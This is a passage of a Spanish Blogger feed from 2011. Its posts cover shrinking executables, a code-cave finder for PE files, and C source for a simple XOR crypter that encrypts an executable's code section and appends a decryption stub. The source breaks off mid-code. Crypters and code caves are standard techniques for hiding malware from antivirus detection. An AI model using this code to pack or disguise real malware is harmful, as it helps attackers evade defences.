&lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/-PgunG0IDRt0/TlIfghEUj-I/AAAAAAAAAZA/3v2Sx3V5Ln8/s1600-h/image62.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-jIgoiupkZ7U/TlIfhHJ-TQI/AAAAAAAAAZE/Bv1I8D9Tsvw/image_thumb34.png?imgmax=800" width="406" height="86"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Desaparece poniendo en “Propiedades de configuración &amp;gt; C/C++ &amp;gt; Generación de código” en “Comprobación de seguridad de buffer” No (/GS-).&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/-dHlUS4jTn48/TlIfh935KPI/AAAAAAAAAZI/aQ-kwVSWH14/s1600-h/image66.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/-Xdt-q36ROC0/TlIfiip3CbI/AAAAAAAAAZM/R7hXVphRxKQ/image_thumb36.png?imgmax=800" width="456" height="328"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Ya podremos quitar el manifiesto ya que no necesitamos permisos especiales para el UAC, ni la carga de ningún ensamblado. Con ello quitaremos también al sección .rsrc.&lt;/p&gt;
&lt;p align="justify"&gt;En “Propiedades de configuración &amp;gt; Vinculador &amp;gt; Archivo de manifiesto” en “Generar manifiesto” ponemos No.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/--wcsj_MUt6M/TlIfjenq7JI/AAAAAAAAAZQ/QOlh6yfId84/s1600-h/image39.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-A6jHw-Yywg4/TlIflw8YmKI/AAAAAAAAAZU/pAeMpRrakfM/image_thumb17.png?imgmax=800" width="456" height="333"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Nos quitamos al sección .rsrc. 1 kb menos, el ejecutable pesa 2 kb.&lt;/p&gt;
&lt;p align="justify"&gt;Ahora solo tenemos 2 secciones .text y .rdata.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/-AsmOPrw4lBw/TlIfmcQjmXI/AAAAAAAAAZY/gImBoFLVTII/s1600-h/image70.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-oFfDiJtloi0/TlIfm3Q7mbI/AAAAAAAAAZc/9rZdlX9wW5o/image_thumb38.png?imgmax=800" width="447" height="161"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;En .text tenemos el código mínimo para ejecutar nuestro programa. Sin inicializaciones ni cosas raras.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/-ZaBf8Xastb4/TlIfnStjA6I/AAAAAAAAAZg/W2Dkyr9wNtk/s1600-h/image75.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/-pobRxgJMJ5k/TlIfoMxpucI/AAAAAAAAAZk/ChPPPYUaF0w/image_thumb44.png?imgmax=800" width="452" height="120"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;En .rdata están la cadena “Hola” y la Import Table.&lt;/p&gt;
&lt;p align="justify"&gt;Lo que sigue dando tamaño al ejecutable es la existencia de las 2 secciones alineadas. Para ello es posible combinar una en la otra con la siguiente directiva:&lt;/p&gt;&lt;pre class="brush: cpp"&gt;#include &amp;lt;windows.h&amp;gt;

#pragma comment(linker,"/merge:.rdata=.text")

int main()
{
	WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE), "Hola", 4, NULL, NULL);
	return 0;
}

&lt;/pre&gt;
&lt;p align="justify"&gt;Con esto dejamos el ejecutable en 1 kb. Lo mas bajo que es posible dejarlo sin editar el ejecutable a mano. &lt;a href="http://www.multiupload.com/A6EDJRQQK9"&gt;Subo aquí&lt;/a&gt; el proyecto de Visual Studio.&lt;/p&gt;
&lt;p align="justify"&gt;Para reducirlo mas, ~130 bytes, se puede leer este texto: &lt;a href="http://www.phreedom.org/solar/code/tinype/"&gt;Tiny PE&lt;/a&gt;, es una pasada, aunque el ejecutable generado no es compatible con Windows 7.&lt;/p&gt;
&lt;p align="justify"&gt;Saludos!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-7590367362078131885?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/7590367362078131885/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/08/generar-ejecutables-pequenos-con-vc-90.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7590367362078131885'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7590367362078131885'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/08/generar-ejecutables-pequenos-con-vc-90.html' title='Generar ejecutables pequeños con VC++ 9.0 y Visual Studio 2008'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/-_1KQiPonA2E/TlIfaZhLwKI/AAAAAAAAAYc/uLPMq5Ewsbs/s72-c/image_thumb15.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-8873105476764360375</id><published>2011-08-18T21:09:00.004+02:00</published><updated>2011-08-18T21:16:54.788+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='crypter'/><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Sencillo programa para encontrar huecos en ejecutables</title><content type='html'>&lt;p align="justify"&gt;Seguramente muchos conozcáis la herramienta &lt;a href="http://ricardonarvaja.info/WEB/OTROS/HERRAMIENTAS/Q-R-S-T-U/ToPo.rar"&gt;ToPo&lt;/a&gt; un programa, con 12 años a sus espaldas, para buscar huecos en los ejecutables y así poder insertar código sin necesidad de añadir nuevas secciones.&lt;/p&gt;
&lt;p align="justify"&gt;Estos huecos surgen cuando se alinean las secciones del ejecutable en disco con el valor FileAlignment que suele tomar el valor de 0x200. Por ejemplo si un programa tiene una sección que realmente ocupa 0x310 bytes, estará obligado a tener una sección en el ejecutable en disco de tamaño como mínimo 0x400 bytes y gracias a este alineamiento hay 0xF0 bytes al final de la sección que no son utilizados para nada.&lt;/p&gt;
&lt;p align="justify"&gt;El caso es que quería crearme un sencillo programa que encontrara estos huecos, para después usarlo en el crypter y si se puede no añadir una nueva sección aprovechando los huecos.&lt;/p&gt;
&lt;p align="justify"&gt;La idea es recorrer todas las secciones y comprobar una a una si el valor de VirtualSize, el tamaño real de al sección, es menor que el tamaño de al sección en disco, SizeOfRawData. En este caso existe un hueco en esa sección de tamaño SizeOfRawData – VirtualSize.&lt;/p&gt;
&lt;p align="justify"&gt;Aquí os dejo el código, la mayoría de la funcionalidad se encuentra en el fichero PECore.cpp, un fichero donde he sacado las funciones mas comunes ha realizar con ejecutables. Así es mas fácil entender el código.&lt;/p&gt;
&lt;pre class="brush: cpp"&gt;
#include &amp;lt;stdio.h&gt;
#include &amp;lt;windows.h&gt;
#include "PECore\PECore.h"

int main(int argc, char *argv[])
{
	if(argc != 2)
	{
		printf("Se esperaba 1 parametro, el fichero donde se buscarán los huecos\n");
		printf("Ej: %s notepad.exe\n", argv[0]);
		return EXIT_FAILURE;
	}
	MapInfo mapInfo;
	if (OpenAndMapFile(&amp;mapInfo, argv[1]) == -1)
		return EXIT_FAILURE;
	//En cada sección se comprueba si el tamaño virtual es menor que el tamaño en disco de la sección
	//VirtualSize &amp;lt; SizeofRawData, en ese caso hay un hueco que ha surgido de las alineaciones
	PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)mapInfo.viewMappedFile;
	PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&amp;mapInfo.viewMappedFile[pIDH-&gt;e_lfanew];
	for(DWORD i = 0; i &amp;lt; pINH-&gt;FileHeader.NumberOfSections; i++)
	{
		PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)&amp;mapInfo.viewMappedFile[pIDH-&gt;e_lfanew + sizeof(IMAGE_NT_HEADERS) + i*sizeof(IMAGE_SECTION_HEADER)];
		if (pISH-&gt;Misc.VirtualSize &amp;lt; pISH-&gt;SizeOfRawData)
		{
			//Hay un hueco, imprimimos su ubicación y tamaño
			DWORD Pos = pISH-&gt;VirtualAddress + pISH-&gt;Misc.VirtualSize;
			printf("Hueco encontrado!\n");
			printf("Section: %s\n", pISH-&gt;Name);
			printf("RVA:\t%#x\n", Pos);
			printf("Offset:\t%#x\n", RVAToOffset(mapInfo.viewMappedFile, Pos));
			printf("Size:\t%#x\n\n", pISH-&gt;SizeOfRawData - pISH-&gt;Misc.VirtualSize);
		}
	}
	CloseAndUnmapFile(&amp;mapInfo);

	return EXIT_SUCCESS;
}
&lt;/pre&gt;
&lt;p align="justify"&gt;Subo los ficheros PETools.h y PETools.cpp &lt;a href="http://www.multiupload.com/39YTWBY594"&gt;aquí&lt;/a&gt;, espero ir mejorándolos con lo que necesite.&lt;/p&gt;
&lt;p align="justify"&gt;Por supuesto ToPo es mucho mas completo, da la posibilidad de redireccionar el EP al hueco, añadir secciones y modificar sus permisos.&lt;/p&gt;
&lt;p align="justify"&gt;Saludos!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-8873105476764360375?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/8873105476764360375/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/08/sencillo-programa-para-encontrar-huecos.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/8873105476764360375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/8873105476764360375'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/08/sencillo-programa-para-encontrar-huecos.html' title='Sencillo programa para encontrar huecos en ejecutables'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-3115828909919471631</id><published>2011-08-12T17:41:00.001+02:00</published><updated>2011-08-12T17:41:51.033+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='crypter'/><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Cifrando un ejecutable en C, problemas</title><content type='html'>&lt;hr&gt; &lt;a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-en-c.html"&gt;Cifrando un ejecutable en C&lt;/a&gt; &lt;hr&gt;  &lt;p align="justify"&gt;El código que se mostró en la anterior entrada para cifrar un ejecutable haciendo XOR sobre toda su sección de código no funciona con todos los ejecutables. Vamos a ver algunas de las posibles situaciones en las que se me ocurre que puede fallar.&lt;/p&gt; &lt;p align="justify"&gt;En el ejecutable del netcat la IT, Import Table, estaba en la sección .rdata. Para ver en que sección está la IT se puede mirar en la cabecera PE, en el directorio de datos, la VirtualAddress del directorio de importaciones.&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/-qCGB5nAXr5c/TkVJnwBisqI/AAAAAAAAAXo/LQqKgveWC0M/s1600-h/image%25255B4%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-GdMie5eLSzw/TkVJp_tGiCI/AAAAAAAAAXs/iI8-cDT947k/image_thumb%25255B5%25255D.png?imgmax=800" width="444" height="94"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;Y mirar en que sección cae esta dirección. Claro que es mucho mas fácil abrir el ejecutable con OllyDbg y ver el mapa de memoria:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/-YJBkVZtOt5A/TkVJqd4VALI/AAAAAAAAAXw/UGROuvi2ER0/s1600-h/image%25255B11%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-TCi8DIeicR4/TkVJq1oRofI/AAAAAAAAAX0/pBMlv_c-AEk/image_thumb%25255B13%25255D.png?imgmax=800" width="441" height="78"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;En el caso del netcat el crypter no tocaba en ningún momento la IT. Pero hay muchos ejecutables, por ejemplo la calculadora de windows, en el que la IT está en la sección de código:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/-evZUYNqvHIo/TkVJrWqrNLI/AAAAAAAAAX4/B4qMa6XdRhU/s1600-h/image%25255B17%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-h7Zu8s_f3SU/TkVJsU47KzI/AAAAAAAAAX8/pgPbJMKF8DI/image_thumb%25255B20%25255D.png?imgmax=800" width="365" height="84"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;/p&gt; &lt;p align="justify"&gt;¿Qué sucede en estos casos?&lt;/p&gt; &lt;p align="justify"&gt;Que nuestro crypter cifra toda la sección de código incluida la IT. Y cuando Windows carga el ejecutable, y el loader trata de recorrer la IT para rellenar la IAT, Import Address Table, se encuentra con una tabla sin sentido, con punteros a zonas de memoria que no existen y BOOM!! Explota:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/-Jnfn-rXcHbU/TkVJsoOcRGI/AAAAAAAAAYA/KGxYiV2xwy4/s1600-h/image%25255B22%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/-QWDVE-x9Nww/TkVJtf9pTvI/AAAAAAAAAYE/V8Q7713BymM/image_thumb%25255B24%25255D.png?imgmax=800" width="451" height="101"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;Deberíamos o bien, omitir a la hora de cifrar la zona donde está la IT y la IAT. O bien, invalidar la IT en el directorio de datos y cargarla desde la rutina que hemos añadido después de descifrar la sección.&lt;/p&gt; &lt;p align="justify"&gt;&lt;br&gt;Otra de las cosas que puede fallar es cuando la IT u otra tabla de datos se encuentra en la cabecera PE, aprovechando el espacio libre que surge de alinear el tamaño de la cabecera, este espacio está justo después de la tabla de secciones. Volviendo a la calculadora de nuevo, podemos observar como la tabla “BoundImportDirectory” está dentro de la cabecera en la posición 260h:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/-J9h97Uw0B84/TkVJtpNV7NI/AAAAAAAAAYI/OYmyYPFuWFE/s1600-h/image%25255B27%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-rkqL244aje0/TkVJuItTEBI/AAAAAAAAAYM/LNkhNx4NP5Q/image_thumb%25255B31%25255D.png?imgmax=800" width="461" height="67"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;Está tabla es usada para cargar mas rápidamente un ejecutable, ya que digamos que tiene precargada toda la IAT para una determinada versión de librerias, DLLs, ahorrandose así el tiempo de recorrer toda la IT e ir buscando la dirección de cada función para compeltar la IT. Si ya conoce al versión de DLL que se va a cargar ya sabe exactamente en que dirección se va a encontrar la función.&lt;/p&gt; &lt;p align="justify"&gt;El caso es que esta tabla está en la posición 260h, justo despues de la tabla de secciones:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/-TMTEVQXNT94/TkVJuoIT5mI/AAAAAAAAAYQ/Qr6eKiQ7zLQ/s1600-h/image%25255B33%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-V_N-nMkCNwQ/TkVJvjfCE9I/AAAAAAAAAYU/WqnP9i_KkfU/image_thumb%25255B41%25255D.png?imgmax=800" width="466" height="248"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;Y cuando nuestro crypter de la anterior entrada añade una sección sobrescribe parte de está tabla dejándola con datos erróneos.&lt;/p&gt; &lt;p align="justify"&gt;Al añadir una sección deberíamos tener cuidado de no sobrescribir ninguna tabla, y si es necesario relocalizar la tabla en otro lugar.&lt;/p&gt; &lt;p align="justify"&gt;&lt;br&gt;Otro problema, es que nuestra rutina de descifrado usa el registro EAX, el cual deja con el valor del Original Entry Point, así cuando se ejecuta el código original no está todo como debería estar si no se hubiese cifrado el ejecutable, ya que aunque la pila contiene exactamente lo mismo y la mayoría de los registros están sin cambiar, el registro EAX, que suele inicializarse a 0, en nuestro caso tendría otro valor. Esto puede dar problemas en muy raras ocasiones en las que se presuponga que inicialmente EAX vale 0 y el programa no se encargue de inicializar el registro. Pero si he visto código en ensamblador que usa el valor inicial de EBX, ya que el loader de Windows lo inicializa con la dirección del Process Enviroment Block, PEB, y es una forma mas cómoda de acceder al PEB, sin pasar antes por el TIB (fs:30).&lt;/p&gt; &lt;p align="justify"&gt;Conclusión, el crypter debería dejar los valores de los registros y de la pila intactos tras ejecutar su rutina de descifrado. Para ello es muy habitual hacer uso de las instrucciones PUSHAD y POPAD que guardan y restablecen respectivamente todos los registros.&lt;/p&gt; &lt;p align="justify"&gt;Y esto es lo que de momento se me ocurre que podría fallar, seguro que van surgiendo mas fallos según vaya probándolo.&lt;/p&gt; &lt;p align="justify"&gt;Ahora toca mejorar el código del crypter para que tenga en cuenta estas cosas.&lt;/p&gt; &lt;p align="justify"&gt;Saludos!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-3115828909919471631?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/3115828909919471631/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-en-c-problemas.html#comment-form' title='6 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3115828909919471631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3115828909919471631'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-en-c-problemas.html' title='Cifrando un ejecutable en C, problemas'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/-GdMie5eLSzw/TkVJp_tGiCI/AAAAAAAAAXs/iI8-cDT947k/s72-c/image_thumb%25255B5%25255D.png?imgmax=800' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-2768471707012834157</id><published>2011-08-11T12:22:00.009+02:00</published><updated>2011-08-12T16:32:00.844+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='crypter'/><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><category scheme='http://www.blogger.com/atom/ns#' term='programación'/><title type='text'>Cifrando un ejecutable en C</title><content type='html'>&lt;hr /&gt;&lt;a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-mano.html"&gt;Cifrando un ejecutable a mano&lt;/a&gt; &lt;br /&gt;
&lt;a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-mano-dos.html"&gt;Cifrando un ejecutable a mano, dos variaciones&lt;/a&gt; &lt;br /&gt;
&lt;hr /&gt;&lt;div align="justify"&gt;En las dos entradas anteriores hemos visto como cifrar un ejecutable a mano y algunas posibles variaciones a la hora de hacerlo. Conociendo el proceso para realizarlo a mano hacer un programa que haga lo mismo es cuestión de paciencia.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="justify"&gt;Aquí os dejo el código fuente en C del programa que he realizado.&lt;/div&gt;&lt;pre class="brush: cpp"&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;windows.h&amp;gt;

//Rutina encargada de descifrar la sección cifrada
char uncryptroutine[] =		  //21 bytes
	"\xB8\x00\x10\x40\x00"  //B8 00104000  MOV EAX, 401000    Section Start  ||Este valor será modificado
	"\x80\x30\xBB"          //8030 BB      XOR BYTE[EAX], BB  Key
	"\x40"                  //40           INC EAX
	"\x3D\x00\x45\x40\x00"  //3D 00454000  CMP EAX, 404500    Section End  ||Este valor será modificado
	"\x75\xF5"              //75 F5        JNZ SHORT -11      (Complemento a dos de 11 = F5)
	"\xB8\x00\x20\x40\x00"  //B8 00204000  MOV EAX, 402000    Pone en EAX el OEP || Este valor será modificado
	"\xFF\xE0";				//FFE0         JMP EAX			  Salta al OEP

//Posiciones de la rutina que tienen que ser corregidas
const int sectionStartPos = 1;
const int sectionEndPos = 10;
const int OEPPos = 17;

//Dado un numero y un alineamiento, devuelve el numero alineado superior mas cercano
DWORD align(DWORD number, DWORD alignment)
{
  if(number % alignment == 0)
    return number;
  else
    return (number / alignment) * alignment + alignment;
}

int main(int argc, char *argv[])
{
	if(argc != 2)
	{
		printf("Pasame un archivo como argumento, ej: %s program.exe", *argv);
		return EXIT_FAILURE;
	}
	HANDLE file = CreateFile((LPCTSTR)argv[1], 
		GENERIC_READ | GENERIC_WRITE, 
		0, 
		NULL, 
		OPEN_EXISTING, 
		FILE_ATTRIBUTE_NORMAL, 
		NULL);
	if(file == INVALID_HANDLE_VALUE){
		fprintf(stderr, "No se pudo abrir el fichero: %s Error: %d\n", argv[1], GetLastError());
		return EXIT_FAILURE;
	}

	//Abrimos una vista de solo lectura para leer el fichero y saber cuanto ocupará el nuevo fichero cifrado
	HANDLE mappedFile = CreateFileMapping(file, 0, PAGE_READONLY, 0, 0, 0);
	if(mappedFile == INVALID_HANDLE_VALUE)
	{
		fprintf(stderr, "No se puede mapear el fichero en memoria. Error: %d\n" , GetLastError());
		CloseHandle(file);
		return EXIT_FAILURE;
	}
	byte *viewMappedFile = (byte*)MapViewOfFile(mappedFile, FILE_MAP_READ, 0, 0, 0);
	if(viewMappedFile == NULL)
	{
		fprintf(stderr, "No se puede mapear el fichero en memoria. Error: %d\n" , GetLastError());
		CloseHandle(mappedFile);
		CloseHandle(file);
		return EXIT_FAILURE;
	}
	PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)viewMappedFile;
	if(pIDH-&amp;gt;e_magic != IMAGE_DOS_SIGNATURE) //MZ
	{
		fprintf(stderr, "No se encontro la cabecera MZ!\n");
		UnmapViewOfFile(viewMappedFile);
		CloseHandle(mappedFile);
		CloseHandle(file);
		return EXIT_FAILURE;
	}
	PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&amp;amp;viewMappedFile[pIDH-&amp;gt;e_lfanew];

	//Ahora con pINH-&amp;gt;OptionalHeader.FileAlignment ya podemos saber exactamente el tamaño del nuevo ejecutable cifrado
	DWORD fileAlignment = pINH-&amp;gt;OptionalHeader.FileAlignment;
	//Reabrimos las vistas con el nuevo tamaño (el viejo tamaño + el tamaño de la sección nueva)
	UnmapViewOfFile(viewMappedFile);
	CloseHandle(mappedFile);
		
	DWORD size = GetFileSize(file, NULL);
	mappedFile = CreateFileMapping(file,
		0,
        PAGE_READWRITE,
        0,
		size + align(sizeof(uncryptroutine) ,fileAlignment),
        0);
	if(mappedFile == INVALID_HANDLE_VALUE)
	{
		fprintf(stderr, "No se puede mapear el fichero en memoria. Error: %d\n" , GetLastError());
		CloseHandle(file);
		return EXIT_FAILURE;
	}
	viewMappedFile = (byte*)MapViewOfFile(mappedFile, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
	
	pIDH = (PIMAGE_DOS_HEADER)viewMappedFile;
	pINH = (PIMAGE_NT_HEADERS)&amp;amp;viewMappedFile[pIDH-&amp;gt;e_lfanew];
	if(pIDH-&amp;gt;e_lfanew + sizeof(IMAGE_NT_HEADERS) + pINH-&amp;gt;FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER) &amp;gt; pINH-&amp;gt;OptionalHeader.SizeOfHeaders)
	{
		fprintf(stderr, "No hay espacio en la cabecera PE para agregar una seccion y es tan lioso agrandarla, quizas en futuras versiones...");
		UnmapViewOfFile(viewMappedFile);
		CloseHandle(mappedFile);
		CloseHandle(file);
		return EXIT_FAILURE;
	}
	PIMAGE_SECTION_HEADER pISH;
	DWORD i;
	//Busca la sección donde apunta el EP, que es la que cifrará
	for(i = 0; i &amp;lt; pINH-&amp;gt;FileHeader.NumberOfSections; i++)
	{
		pISH = (PIMAGE_SECTION_HEADER)&amp;amp;viewMappedFile[pIDH-&amp;gt;e_lfanew + sizeof(IMAGE_NT_HEADERS) + i*sizeof(IMAGE_SECTION_HEADER)];
		if(pINH-&amp;gt;OptionalHeader.AddressOfEntryPoint &amp;gt;=  pISH-&amp;gt;VirtualAddress &amp;amp;&amp;amp; 
		   pINH-&amp;gt;OptionalHeader.AddressOfEntryPoint &amp;lt; pISH-&amp;gt;VirtualAddress + pISH-&amp;gt;Misc.VirtualSize)
		{
			printf("EP apunta a la seccion: %s\n", pISH-&amp;gt;Name);
	        break;
		}
	}
	//Añadimos permisos de escritura a la sección que se va a encriptar
	pISH-&amp;gt;Characteristics |= IMAGE_SCN_MEM_WRITE;

	//Ciframos la sección donde apunta el EP
	for(i = 0; i &amp;lt; pISH-&amp;gt;Misc.VirtualSize; i++)
		viewMappedFile[pISH-&amp;gt;PointerToRawData + i] ^= 0xBB;
	printf("Seccion %s cifrada\n", pISH-&amp;gt;Name);

	//Obtenemos un puntero a la última sección
	PIMAGE_SECTION_HEADER pLastISH = (PIMAGE_SECTION_HEADER)&amp;amp;viewMappedFile[pIDH-&amp;gt;e_lfanew + sizeof(IMAGE_NT_HEADERS) + (pINH-&amp;gt;FileHeader.NumberOfSections - 1) * sizeof(IMAGE_SECTION_HEADER)];
	//Puntero a la nueva sección
	PIMAGE_SECTION_HEADER pNewISH = pLastISH + 1;
	memset(pNewISH, 0, sizeof(IMAGE_SECTION_HEADER));
	sprintf((char *)pNewISH-&amp;gt;Name, ".crypt");
	pNewISH-&amp;gt;Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_CODE;
	pNewISH-&amp;gt;VirtualAddress = align(pLastISH-&amp;gt;VirtualAddress + pLastISH-&amp;gt;Misc.VirtualSize, pINH-&amp;gt;OptionalHeader.SectionAlignment);
	pNewISH-&amp;gt;Misc.VirtualSize = sizeof(uncryptroutine);
	pNewISH-&amp;gt;PointerToRawData = align(pLastISH-&amp;gt;PointerToRawData + pLastISH-&amp;gt;SizeOfRawData, pINH-&amp;gt;OptionalHeader.FileAlignment);
	pNewISH-&amp;gt;SizeOfRawData = align(sizeof(uncryptroutine), pINH-&amp;gt;OptionalHeader.FileAlignment);

	//Corregimos los valores del PE para que tenga en cuenta la nueva sección
	pINH-&amp;gt;FileHeader.NumberOfSections++;
	DWORD OEP = pINH-&amp;gt;OptionalHeader.AddressOfEntryPoint;
